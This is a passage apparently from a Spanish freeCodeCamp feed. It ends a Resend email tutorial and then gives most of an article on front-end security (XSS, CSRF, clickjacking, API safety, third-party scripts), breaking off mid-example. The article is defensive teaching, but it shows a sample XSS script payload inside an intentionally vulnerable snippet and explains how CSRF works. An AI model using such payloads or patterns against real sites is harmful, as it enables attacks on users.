import TicketCreated from "@/emails/TicketCreated";
//👇🏻 imports Resend
import { Resend } from "resend";
const resend = new Resend(process.env.RESEND_API_KEY);

export async function POST(req: NextRequest) {
    //👇🏻 acepta la entrada del cliente desde el frontend
    const { name, email, subject, content } = await req.json();
    //👇🏻 los registra
    console.log({ name, email, subject, content });
    //👇🏻 envia una email usando la plantilla de email
    const { data, error } = await resend.emails.send({
        from: "Acme &lt;onboarding@resend.dev&gt;",
        to: [email],
        subject: "Email de Confirmación del Ticket 🎉",
        react: TicketCreated({ username: name, ticketID: generateID() }),
    });

    if (error) {
        return NextResponse.json(
            { message: "Hubo un error al enviar el email" },
            { status: 500 }
        );
    }

    return NextResponse.json({
        message: "El email se envió con éxito",
        data,
    });
}
</code></pre><p>¡Felicidades!🥳 Has completado este tutorial.</p><p>Aquí un breve demo de la aplicación:</p><figure class="kg-card kg-embed-card" data-test-label="fitted">
        <div class="fluid-width-video-container">
          <div style="padding-top: 56.25%;" class="fluid-width-video-wrapper">
            <iframe width="560" height="315" src="https://www.youtube.com/embed/RsNAtwDjAEg" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 27.5px; vertical-align: middle; aspect-ratio: 16 / 9; width: 720px; height: auto;" name="fitvid0"></iframe>
          </div>
        </div>
      </figure><h2 id="pr-ximos-pasos"><strong>Próximos Pasos</strong></h2><p>En este tutorial, aprendiste cómo crear plantillas de email con React Email y enviarlos usando Resend. Ambos paquetes te permiten integra la comunicación de email fácilmente con tus aplicaciones.</p><p>Ya sean simples las notificaciones de email, los boletines informativos, o campañas de marketing, React Email y Resend ofrecen una solución eficiente y personalizable para satisfacer tus necesidades.</p><p>Algunos recursos útiles incluyen:</p><ul><li><a href="https://react.email/components">Componentes pre-construidas de React Email</a></li><li><a href="https://react.email/docs/introduction">Documentación de React Email</a></li><li><a href="https://resend.com/docs/send-with-nextjs">Cómo instalar Resend en aplicaciones de Next.js</a></li></ul><p>¡Gracias por leer!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Por qué las competencias en ciberseguridad son importantes para los desarrolladores front-end ]]>
                </title>
                <description>
                    <![CDATA[ En estos días, los ciberataques están incrementando las preocupaciones de las que todos en un equipo de desarrollo deberían ser conscientes. Esto significa que si eres un desarrollador, deberías aprender algunas bases de las habilidades de ciberseguridad. Después de todo, los atacantes son típicamente desarrolladores en sí mismo, y sus ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/why-cybersecurity-skills-are-important-for-front-end-developers/</link>
                <guid isPermaLink="false">67afb05c7b839204592b9621</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Thu, 20 Feb 2025 21:21:48 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/02/c4a57662-4275-4deb-92c1-6ec560d6c30a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/cybersecurity-for-front-end-developers/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">Why Cybersecurity Skills Are Important for Front-End Developers</a>
      </p><p>En estos días, los ciberataques están incrementando las preocupaciones de las que todos en un equipo de desarrollo deberían ser conscientes. Esto significa que si eres un desarrollador, deberías aprender algunas bases de las habilidades de ciberseguridad.</p><p>Después de todo, los atacantes son típicamente desarrolladores en sí mismo, y sus ataques solamente están aumentando en frecuencia, variedad, y complejidad.</p><p>No te digo esto para inculcar miedo. Simplemente, creo que todos los desarrolladores deberían aumentar sus habilidades de ciberseguridad, punto. No solamente entendiendo los principios, sino aplicándolos también. Y esto no es solo importante para ti si trabajas con el equipo de DevSecOps. Es importante para todos.</p><p>Así que, ¿cuál es el rol crítico que los desarrolladores de Front-end pueden jugar al proteger aplicaciones y productos? Continúa leyendo para averiguarlo.</p><h3 id="tabla-de-contenidos">Tabla de Contenidos</h3><ul><li><a href="#ciberseguridad-responsabilidad-backend">La Ciberseguridad no es solamente una responsabilidad del Back-End</a></li><li><a href="#entendiendo-rol-desarrollador-frontend-seguridad">Entendiendo el Rol del Desarrollador de Front-End en Seguridad</a></li><li><a href="#amenazas-ciberseguridad-mundo-real-afectando-frontend">Amenazas de Ciberseguridad del Mundo Real afectando al Front-end</a></li></ul><!--kg-card-begin: markdown--><details>
    <summary>Detalles</summary>
    <ul>
        <a href="#cross-site-scripting"><li>Cross-Site Scripting (XSS)</li></a>
		<a href="#falsificacion-peticiones-entre-sitios-csrf"><li>Falsificación de Peticiones Entre Sitios (CSRF):</li></a>
        <a href="#llamadas-api-inseguras"><li>Llamadas a API Inseguras</li></a>
        <a href="#vulnerabilidades-script-terceros"><li>Vulnerabilidades de Script de Terceros</li></a>
    </ul>
    </details><!--kg-card-end: markdown--><ul><li><a href="#pasos-practicos-mitigar-vulnerabilidades-terceros">Pasos Prácticos para Mitigar Vulnerabilidades de Terceros</a></li><li><a href="#principios-basicos-ciberseguridad-desarrolladores-frontend">Principios Básicos de Ciberseguriad para Desarrolladores de Front-End</a></li></ul><!--kg-card-begin: markdown--><details>
    <summary>Detalles</summary>
    <ul>
        <a href="#confidencialidad"><li>Confidencialidad</li></a>
        <a href="#integridad"><li>Integridad</li></a>
        <a href="#disponibilidad"><li>Disponibilidad</li></a>
    </ul>
</details><!--kg-card-end: markdown--><ul><li><a href="#conclusion">Conclusión</a></li></ul><!--kg-card-begin: html--><h2 id="ciberseguridad-responsabilidad-backend">La Ciberseguridad no es solamente una responsabilidad del Back-End</h2><!--kg-card-end: html--><p>La Ciberseguridad ya no es algo que solamente se deben de preocupar los desarrolladores de Back-end.</p><p>Aprender estas habilidades pueden beneficiar a cada desarrollador, pero en este artículo, me enfocaré en el desarrollo de Front-end por dos razones.</p><p>Primero, el desarrollo de Front-end es usualmente visto como el lado más creativo del desarrollo. No es que los equipos no vean a la ciberseguridad como algo importante aquí, pero no suele ser una prioridad. Esta forma de pensar podría llevar a errores catastróficos que comprometen todo el sistema completo. Especialmente porque las vulnerabilidades de Front-end son comúnmente explotados en estos días.</p><p>La otra razón es que el Front-end es donde el cliente interactúa con la aplicación y probablemente tenga su primera interacción real con la marca. Los desarrolladores de Front-end necesitan asegurar que esta experiencia sea fructífera, positiva, amigable, y construya confianza.</p><p>Ya hay muchas personas hablando sobre mantener el Back-end seguro, – ya que eso viene con el territorio. Así que, hablemos sobre por qué necesitas mitigar los riesgos en el Front-end, para qué riesgos específicos prepararse, y cómo <a href="https://www.pipedrive.com/en/blog/cybersecurity-tips">mejorar tus habilidades de ciberseguridad</a>. </p><p>Nota rápida – estas habilidades no solo van a ser útiles y prácticas para agregar a tu caja de herramientas. También te prepararán para nuevas oportunidades para crecer en tu carrera, especialmente ahora que la industria de la ciberseguridad continúa creciendo.</p><!--kg-card-begin: html--><h2 id="entendiendo-rol-desarrollador-frontend-seguridad">Entendiendo el Rol del Desarrollador de Front-End en Seguridad</h2><!--kg-card-end: html--><p>Los desarrolladores de Front-end juegan un rol crucial como la primera línea de defensa en contra de los atacantes.</p><p>Cada clic de botón, envío de formulario, y llamada a la API necesitan ser fluidos, y el desarrollador Front-end hace esto posible. Enfocarse en el Front-end significa que estos desarrolladores son los guardianes de las interacciones del usuario. Como tal, están haciendo mucho más que solo crear una interfaz de usuario elegante; también tiene que ser seguro y prevenir vulnerabilidades.</p><p>Los desarrolladores de Front-end manejan cómo los datos son recolectados, validados y pasados a los sistemas de Back-end, por lo que no hay lugar para errores en ningún punto. De otra manera, usuarios maliciosos podría causar estragos en toda la aplicación.</p><p>Por definición, el Front-end es la parte más expuesta de cualquier aplicación, por lo que si hay una vulnerabilidad en el código, puede potencialmente ser explotados por los atacantes. Implementar <a href="https://blog.scalefusion.com/es/best-data-protection-software/">software</a> de protección de datos comprensivos minimiza los riesgos de seguridad desde el principio. </p><p>En contraste, el código de Back-end se oculta a los usuarios y se ejecuta en entornos controlados, a diferencia del código de Front-end, el cual es servido a los navegadores de los usuarios y es accesible a los usuarios y a los atacantes de la misma forma. Por ejemplo, si un desarrollador de Front-end implementa un pobre manejo de entrada de usuario, los sistemas de Back-end podría ser expuestos a inyecciones de SQL o ataques de Cross-Site Scripting (<a href="https://es.wikipedia.org/wiki/Cross-site_scripting">XSS</a>). Abajo, discutimos estas amenazas específicas en más detalle. </p><!--kg-card-begin: html--><h2 id="amenazas-ciberseguridad-mundo-real-afectando-frontend">Amenazas de Ciberseguridad del Mundo Real afectando al Front-end</h2><!--kg-card-end: html--><p>Los ciberataques vienen de muchas formas. Si estamos hablando sobre el Front-end, estos pueden variar desde ataques en campos de entrada de usuario a la explotación de librerías de terceros. Las vulnerabilidades más comúnes son:</p><ol><li>Cross-Site Scripting o (<strong>XSS</strong>)</li><li>Falsificación de Peticiones en Sitios Cruzados (<strong>CSRF</strong> - Cross-Site Request Forgery en inglés)</li><li>Llamadas a API Inseguras</li><li>Vulnerabilidades de Script de Terceros</li></ol><!--kg-card-begin: html--><h3 id="cross-site-scripting">1. Cross-Site Scripting (XSS):</h3><!--kg-card-end: html--><p>XSS es probablemente la vulnerabilidad más común discutido en el desarrollo Front-end y en la ciberseguridad. Ocurre cuando una aplicación genera scripts maliciosos inyectados por un atacante que se ejecuta en el navegador del usuario. Esto es posible solamente debido a una impropia sanitización de entrada.</p><p>Por ejemplo, malos actores podría usar ataques de XSS para inyectar un script en una sección de comentarios. Ya sea debido a una impropia sanitización de entradas o el atacante pasando por alto la validación, así también como otros usuarios ven este comentario, el script puede robar las cookies o redireccionar a los usuarios a sitios de phishing.</p><p>XSS es peligroso porque se dirige directamente a los usuarios y puede comprometer sus datos, sin mencionar su confianza en tu aplicación.</p><p>Los ataques de XSS se están volviendo más peligrosos y sofisticados con el tiempo. Al dirigirse directamente a los usuarios, los atacantes pueden cosechar datos personales o redireccionar a los usuarios a <a href="https://www.aura.com/learn/how-to-know-if-a-website-is-safe">sitios web maliciosos</a>. </p><p><strong><strong>Objeción: XSS </strong>e<strong>s </strong>una preocupación del<strong> Back-End, </strong>no del<strong> Front-End</strong></strong></p><p>Si quieres ponerte técnico y objetar diciendo que XSS no es verdaderamente una preocupación del Front-end sino del Back-end, veo de dónde vienes. Prevenir XSS puede ser hecho enteramente en el Back-end a través de validación de entradas, sanitización, y pruebas.</p><p>Pero este pensamiento pierde el punto de esta discusión, al que yo te quiero llevar. A saber, el Front-end es donde el riesgo se origina, y por lo tanto, si hay lugar para mitigar el riesgo de forma inmediata, en primera línea, hay que hacerlo.</p><p>También, si la validación falla en el Back-end, la vulnerabilidad todavía se mantiene ya que el ataque tiene éxito en superar este punto particular de falla. En cambio, ¿por qué no fortalecer tanto el Back-end como el Front-end para una defensa superior?</p><p><strong>Pasos Prácticos<strong> </strong>para<strong> </strong>Mitigar Ataques de<strong> XSS </strong></strong></p><p><strong><strong>1. </strong>Sanitización de Entradas</strong></p><p>El primer paso es implementar un proceso de sanitización de entrada que usa librerías o características incorporadas del framework para eliminar caracteres dañinos antes de que sean procesados o mostrados. Por ejemplo, en JavaScript, librerías como DOMPurify puede ayudar en limpiar el contenido generado por el usuario para quitar scripts maliciosos. </p><p>Aquí hay un ejemplo simplificado de entrada no sanitizado vs sanitizado:</p><pre><code class="language-javascript">// Código Vulnerable
const userInput = document.getElementById('comment').innerHTML = "&lt;script&gt;alert('Hackeado!')&lt;/script&gt;";

// Con DOMPurify
const sanitizedInput = DOMPurify.sanitize(userInput);
document.getElementById('comment').innerHTML = sanitizedInput;
</code></pre><p><strong><strong>2. </strong>Codificación</strong></p><p>Si tu aplicación permite a los usuarios contribuir <a href="https://www.superside.com/blog/smash-your-cpl-with-ugc-style-ads">contenido generado por ellos mismos</a>, codifícalo. Si los navegadores intenta leerlo, solamente lo verán como texto en vez de código ejecutable.</p><p>Por ejemplo, la codificación de HTML puede convertir &lt; y &gt; en &lt; y &gt;.</p><p><strong><strong>3. </strong>Política de Seguridad de Contenido<strong> (CSP</strong> - <strong><em>Content Security Policy</em></strong> en inglés<strong>)</strong></strong></p><p>También puedes configurar Políticas de Seguridad de Contenido (CSPs) para actuar como una red de seguridad. Una Política de Seguridad de Contenido es un mecanismo de defensa basado en el navegador. Al definir reglas en los encabezados HTTP de tu servidor, puedes restringir los tipos de contenido (por ejemplo, JavaScript, CSS, y así sucesivamente) que están permitidos cargar, aunque no podrían detectar todos los ataques o vulnerabilidades XSS.</p><!--kg-card-begin: html--><table style="box-sizing: inherit; margin: 0.5em 0px 2.5em; padding: 0px; border: 0px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-numeric: inherit; font-variant-east-asian: inherit; font-variant-alternates: inherit; font-variant-position: inherit; font-variant-emoji: inherit; font-weight: 400; font-stretch: inherit; line-height: inherit; font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen, Ubuntu, Cantarell, &quot;Open Sans&quot;, &quot;Helvetica Neue&quot;, sans-serif; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 1.6rem; vertical-align: top; border-spacing: 0px; border-collapse: collapse; display: inline-block; overflow-x: auto; max-width: 100%; width: auto; white-space: nowrap; background: radial-gradient(at left center, rgba(0, 0, 0, 0.2) 0px, rgba(0, 0, 0, 0) 75%) 0px center / 10px 100% no-repeat scroll, radial-gradient(at right center, rgba(0, 0, 0, 0.2) 0px, rgba(0, 0, 0, 0) 75%) 100% center / 10px 100% scroll rgb(255, 255, 255); color: rgb(10, 10, 35); letter-spacing: normal; orphans: 2; text-align: start; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><tbody style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline;"><tr style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline;"><td style="box-sizing: inherit; margin: 0px; padding: 6px 12px; border: var(--gray10) 1px solid; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; background-image: linear-gradient(to left, rgb(255, 255, 255) 50%, rgba(255, 255, 255, 0) 100%); background-size: 20px 100%; background-repeat: no-repeat; background-position: 100% 0px;"><p style="box-sizing: inherit; margin: 0px 0px 1.5em; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; min-width: 100%;">Content-Security-Policy: script-src 'self'<span>&nbsp;</span><a target="_self" href="https://trusted-source.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-size-adjust: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 20px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;">https://trusted-source.com</a>;</p></td></tr></tbody></table><!--kg-card-end: html--><p>Esta política asegura que solamente los scripts de tu propio dominio o fuentes confiables sean ejecutados para mitigar el riesgo de XSS.</p><p>Al combinar sanitización de entrada, codificación, y CSPs, puedes reducir significativamente el riesgo de ataques XSS. El fortalecer el Front-end así como el Back-end provee la defensa en capas necesaria para proteger los datos del usuario y mantener la confianza en tu aplicación.</p><!--kg-card-begin: html--><h3 id="falsificacion-peticiones-entre-sitios-csrf">2. Falsificación de Peticiones Entre Sitios (CSRF):</h3><!--kg-card-end: html--><p>Usuarios autenticados quienes confían en un sitio podrían ser engañados potencialmente en realizar acciones que nunca quisieron y podrían inclusive no notarlo. Esto podría conducir a cambiar o eliminar cuentas o transferir fondos. Estos son ataques CSRF, y pueden ser particularmente devastadores para los usuarios de una aplicación.</p><p>Para dar un ejemplo de CSRF, digamos que un usuario dejó un sitio de red social sin cerrar la sesión. Ellos visitan un nuevo sitio, el cual termina siendo malicioso, y una formulario oculto envía una solicitud para actualizar automáticamente su biografía del perfil de la red social con enlaces phishing. Siendo que ellos ya estaban autenticados, la plataforma procesa la solicitud maliciosa como si fuera del usuario.</p><p>Nuevamente, podrías argumentar que abarcar el problema de CSRF es una cuestión del Back-end, donde puedes usar tokens anti-CSRF para prevenir estos ataques. Es verdad que estos tokens son cruciales, pero descuidar la responsabilidad del Front-end en crear un flujo de trabajo seguro puede dejar a las aplicaciones vulnerables.</p><p>Por ejemplo, implementar <a href="https://www.textmagic.com/blog/texting-and-two-factor-authentication/">autenticación de dos factores (2FA)</a> puede agregar una capa adicional de seguridad, asegurando que incluso si un intento de CSRF ocurra, acciones no autorizadas son significativamente más difíciles de ejecutar.</p><p>Los ataques de CSRF facilitan a los atacantes robar <a href="https://www.aura.com/learn/how-to-protect-your-personal-information-online">información personal en línea</a>. De hecho, 1 de 4 personas son propensos a ser víctimas de un crimen en línea, así que protegerse en contra de estos ataques es crucial.</p><p><strong>Pasos Prácticos<strong> </strong>para<strong> </strong>Mitigar<strong> </strong>Ataques <strong>CSRF</strong></strong></p><p>Si los desarrolladores de Front-end quieren crear flujos de trabajo más robustos que prevengan ataques de CSRF, el primer paso es reforzar la intención del usuario. En cualquier momento que hayan acciones de usuario potencialmente sensibles, deberías requerir confirmación explícita de que ellos quieren proceder. Podrías simplemente preguntar, "¿estás seguro de que quieres hacer eso?" Es una forma sencilla pero seguro de hacerles al menos pensar y confirmar su decisión.</p><p>Luego está el problema de clickjacking. Este es simplemente el nombre para cuando los malos actores usan elementos ocultos o sobrepuesto (como botones o enlaces) en una página aparentemente legítima para engañar a los usuarios en que hagan clic en algo distinto de lo que esperan. Por ejemplo, un usuario podría pensar que está haciendo clic en un botón inofensivo, pero en realidad, están aprobando una acción sensible como transferir fondos o cambiar las opciones de cuenta.</p><p>Para prevenir esto, usa encabezados como <code>X-Frame-Options</code> o <code>Content-Security-Policy</code> para evitar que los atacantes incrusten tu aplicación en etiquetas iframes.</p><ul><li><strong><strong><code>X-Frame-Options Header</code>:</strong></strong> Este encabezado le dice al navegador si tu sition puede ser incrustado en un iframe y por quién.</li></ul><p>Ejemplo:</p><pre><code class="language-javascript">X-Frame-Options: DENY
</code></pre><p>Esto asegura que tu aplicación no pueda ser incrustado en ningún iframe el cual bloquea efectivamente cualquier intento de clickjacking.</p><p>De forma alternativa, puedes especificar fuentes confiables específicas:</p><pre><code class="language-javascript">X-Frame-Options: ALLOW-FROM https://trusted-domain.com
</code></pre><p>Esto permite a los iframe que carguen tu aplicación solamente en un dominio confiable.</p><ul><li><strong><strong><code>Content-Security-Policy</code> (CSP):</strong></strong> Ya que el <code>X-Frame-Options</code> es efectivo, CSP provee más flexibilidad. Puedes usar la directiva frame-ancestors para controlar qué dominios están autorizados para incrustar tu aplicación.</li></ul><p>Ejemplo:</p><pre><code class="language-javascript">Content-Security-Policy: frame-ancestors 'self' https://trusted-domain.com;
</code></pre><p>Esto asegura que solamente tu propio sitio ('self') o explícitamente dominios permitidos pueda mostrar tu aplicación en un iframe.</p><p>Tocaré mas sobre esto abajo, pero una clave para crear un programa de seguridad integral es colaborar efectivamente con tus homólogos del Back-end. Ya que probablemente tengan un proceso para tokens anti-CSRF, puedes entender cómo son generados y aseguran que están incluidos de forma apropiada en todas las peticiones relevantes.</p><p>Para una mayor seguridad de comunicación con tus equipos se recomienda usar <a href="https://www.chanty.com/blog/dod-approved-messaging-apps/">aplicaciones aprobadas por DOD</a>.</p><!--kg-card-begin: html--><h3 id="llamadas-api-inseguras">3. Llamadas a API Inseguras</h3><!--kg-card-end: html--><p>La API es lo que permite al Front-end y el Back-end del sistema que se comuniquen. El Front-end es frecuentemente donde las llamadas a la API son iniciadas y donde los datos sensibles son manejados. Si la API no es segura en términos de tokens y credenciales de Front-end, todo el sistema puede terminar comprometido.</p><p>La Encriptación es la clave para mantener tus claves de API y tokens seguros de forma que no sean expuestas en el código del lado del cliente o de alguna manera compartidos sobre conexiones sin encriptación, donde actores maliciosos pudieran fácilmente interceptar y abusar. Esto recae en el desarrollador de Front-end porque políticas de CORS mal implementadas o procesos de manejo de errores pueden en realidad conducir a información filtrada. Integrar de forma segura las APIs en un sistema de gestión de comunicación puede mejorar aún más la protección al optimizar las medidas de seguridad para interacciones sensibles.</p><p>Llamadas a API inseguras puede ser una mina de oro para los atacantes. Si tokens o credenciales sensibles son expuestos, serán capaces de acceder a cuentas y robar datos personales, probablemente para cometer robo de identidad. Asegurar las APIs trata sobre prevenir que los atacantes encuentren vulnerabilidades.</p><p>Afortunadamente, hay unas pocas formas de que puedas hacer tu API más seguras.</p><p><strong>Pasos<strong> </strong>Prácticos<strong> </strong>para<strong> </strong>Mitigar ataques a<strong> </strong>una <strong>API</strong></strong></p><p>Así como la última sección, puedes prevenir un montón de dolores de cabeza al usar conexiones cifradas y reforzadas con HTTPS. Esto ayuda en mantener a raya a los chicos malos y previene la intercepción durante la transmisión.</p><p>Cuando se traba sobre información sensible que rodea a tu API, asegúrate de usar cookies seguras con los argumentos <code>HttpOnly</code> y <code>Secure</code> en vez de localStorage o sessionStorage ya que son accesibles por JavaScript y vulnerables a ataques XSS.</p><p>Las cookies seguras son críticos para almacenar información confidencial como IDs de sesión o tokens de autenticación. Al usar los argumentos <code>HttpOnly</code> y <code>Secure</code>, haces que las cookies sean inaccesibles a JavaScript (reduciendo el riesgo de ataques XSS) y asegurar que solamente sean transmitidos sobre HTTPS.</p><p>Aquí hay un ejemplo de poner cookies seguras en Express.js:</p><pre><code class="language-javascript">app.use(require('cookie-parser')());

app.get('/set-cookie', (req, res) =&gt; {
  res.cookie('authToken', 'tu-token-seguro', {
    httpOnly: true,  // Evita el acceso a JavaScript del lado del cliente
    secure: true,    // Asegura que las cookies sean enviadas solamente sobre HTTPS
    sameSite: 'strict', // Evita el uso de cookie entre sitios
  });
  res.send('¡Cookie seguro configurado!');
});
</code></pre><p>Oh, y si tienes alguna información sensible sobre la API, sólo asegúrate de incluirlos en ningún mensajes de error de API. Los mensajes de error pueden ser una mina de oro para los atacantes que buscan explotar tu sistema. Evita exponer detalles sensibles sobre tu API, tales como trazos del stack, estructuras de la Base de Datos, o mecanismos de autenticación, en las respuestas de error.</p><p>Mira un poco este ejemplo sobre sanitizar mensajes de error en Express.js:</p><pre><code class="language-javascript">app.use((err, req, res, next) =&gt; {
  console.error(err.stack); // Registra el error completo internamente para depurar
  res.status(500).send({
    error: 'Un error inesperado ocurrió. Por favor intente nuevamente más tarde.',
  }); // Envía un mensaje de error genérico al cliente
});
</code></pre><p>By sanitizing responses, you reduce the chances of leaking information that could aid an attacker.</p><!--kg-card-begin: html--><h3 id="vulnerabilidades-script-terceros">4. Vulnerabilidades de Script de Terceros</h3><!--kg-card-end: html--><p>El desarrollo puede tomar un largo tiempo cuando se hace desde cero, por lo que scripts y librerías de terceros son esenciales para poner en marcha una aplicación y ejecutarla rápidamente. Con scripts de terceros, obtienes funcionalidad pre-construida y puede acortar el tiempo de desarrollo de forma significativa. El único problema es que podría haber vulnerabilidades de las que no seas consciente debido a que el script no es enteramente tuyo.</p><p>Extender tu desarrollo para incluir scripts o librerías de terceros sí incrementa la probabilidad de un riesgo potencial, ya que una sola librería comprometida podría introducir código malicioso en todas las aplicaciones que están conectadas a él.</p><p>Para algunos negocios como envío directo y comercio electrónico, los cuales frecuentemente se basan en herramientas de terceros para la gestión de inventario, procesamiento de órdenes, y funcionalidades del sitio web, asegurar la seguridad de estos scripts es crucial para mantener la integrar operacional y la confianza del cliente.</p><p>Históricamente hablando, al menos un incidente (mira "event-stream" si no has oído de él) involucró un paquete ampliamente usado afectando a miles de proyectos porque no estaba cuidadosamente monitoreado.</p><!--kg-card-begin: html--><h2 id="pasos-practicos-mitigar-vulnerabilidades-terceros">Pasos Prácticos para Mitigar Vulnerabilidades de Terceros</h2><!--kg-card-end: html--><p>Como un desarrollador front-end, hay algunos formas para evitar escenario, y mayormente involucran auditar de forma constante. Si estás considerando usar cualquier librerías de terceros, haz todo lo que puedas para ver si tiene vulnerabilidades.</p><p>Hay muchas herramientas para esto, algunos que ya podrías estar usando como Snyk, npm audit, or OWASP Dependency-Check para escanear la librería en busca de problemas. Por ejemplo, si estás considerando en agregar una librería de JavaScript para manejar formularios de entrada de usuario, puedes comenzar ejecutando un auditoría:</p><pre><code class="language-bash">npm audit
</code></pre><p>Esto resaltará cualquier vulnerabilidad en las dependencias de la librería. Si se encuentran vulnerabilidades críticas, o actualiza el paquete (si hay parches disponibles) o considera alternativas.</p><p>También puedes simplemente restringir el número de scripts para incluir solamente aquellos que coincidan con el criterio que has designado tales como estar siendo mantenido activamente, teniendo un fuerte registro de seguridad, y que venga de fuentes acreditados. De forma adicional, implementa salvaguardas para controlar su comportamiento. Por ejemplo, usa una Política de Seguridad de Contenido (CSP) para restringir de dónde pueden cargar los scripts. Agrega un encabezado CSP a tu aplicación:</p><pre><code class="language-xml">&lt;meta http-equiv="Content-Security-Policy" content="script-src 'self' https://trusted-library.com;"&gt;
</code></pre><p>Esto restringe a los scripts a tu propio dominio y la fuente de terceros confiable.</p><p>También puedes echar un ojo a la comunidad y ver qué actualizaciones están por llegar sobre parches de seguridad y deprecaciones para tus librerías existentes. Si tienes que hacer cambios porque encuentras algunos problemas, asegúrate de compartir tus descubrimientos con la comunidad. Esto podría ser a través de documentación escrita, publicaciones de blog, o inclusive <a href="https://riverside.fm/recording">grabando vídeos</a> que explican tus descubrimientos y soluciones.</p><p>Nuevamente, no estamos diciendo que deberías tirar todos los centavos del presupuesto para trabajar en tus proyectos desde cero. Pero probablemente puedes encontrar el balance correcto entre las librerías útiles y las sospechosas una vez que aprendas a realizar auditorías.</p><!--kg-card-begin: html--><h2 id="principios-basicos-ciberseguridad-desarrolladores-frontend">Principios Básicos de Ciberseguriad para Desarrolladores de Front-End</h2><!--kg-card-end: html--><p>Volvamos a ayudarte, como desarrollador, a entender cómo puedes beneficiarte de la ciberseguridad. Después de todo, el desarrollo de Front-end segura se reduce a entender tres principios claves de ciberseguridad: <strong>Confidencialidad</strong>, <strong>Integridad</strong> y <strong>Disponibilidad</strong>. Usualmente le llamo la Triada CID (CIA en inglés), porque solo usando estos tres principios, puedes construir un <a href="https://www.privacyjournal.net/what-is-digital-security/">marco de trabajo de seguridad comprensiva</a>. &nbsp;</p><!--kg-card-begin: html--><h3 id="confidencialidad">Confidencialidad</h3><!--kg-card-end: html--><p>La Confidencialidad trata sobre proteger datos sensibles. Tu objetivo es asegurar que las personas equivocada no pongan sus manos sobre los datos de los que no deberían acceder. Así que, donde entras como un desarrollador de Front-end es crear sistemas cuidadosamente que mantenga los datos seguros ya que se maneja en el lado del cliente hacia y desde el servidor.</p><p>Si un usuario comparte datos sensibles con tu aplicación, digamos, en un formulario de generación potencial, ya han mostrado que confían en ti para mantener su información seguro. Esta información incluye contraseñas, claves de API, números de tarjeta de crédito, información de identificación de personal, y otra información personal o financiera. Si confían en tu aplicación, es mejor ser capaces de mantener su información seguro y protegido. Si no lo hace, arriesgas en que su información y posiblemente su identidad sea comprometida.</p><p><strong>Convirtiendo la<strong> Confiden</strong>cialidad<strong> </strong>en una<strong> </strong>Habilidad</strong></p><p>Dominar la habilidad para manejar datos sensibles seguramente es la clave para asegurar la confidencialidad. Aquí está cómo puedes proteger la confidencialidad del usuario:</p><p><strong><strong>1. Encr</strong>i<strong>pt</strong>a<strong> </strong>los <strong>Dat</strong>os<strong> </strong>e<strong>n </strong>el <strong>Tránsit</strong>o<strong> </strong>usando<strong> HTTPS</strong></strong></p><p>Para asegurar que los datos permanezcan confidenciales durante la transmisión, siempre utiliza <a href="https://aioseo.com/seo-glossary/https-hyper-text-transfer-protocol-secure/">HTTPS</a>. Éste encripte la comunicacón entre el cliente y el servidor lo que hace más difíciles a los atacantes que intercepten información sensible. Por ejemplo, cuando despliegues tu aplicación, asegúrate que tu servidor web se configure para reforzar HTTPS. Si estás usando Nginx, tu archivo de configuración debería incluir:</p><pre><code class="language-nginx">server {
    listen 443 ssl;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    server_name yourdomain.com;
}
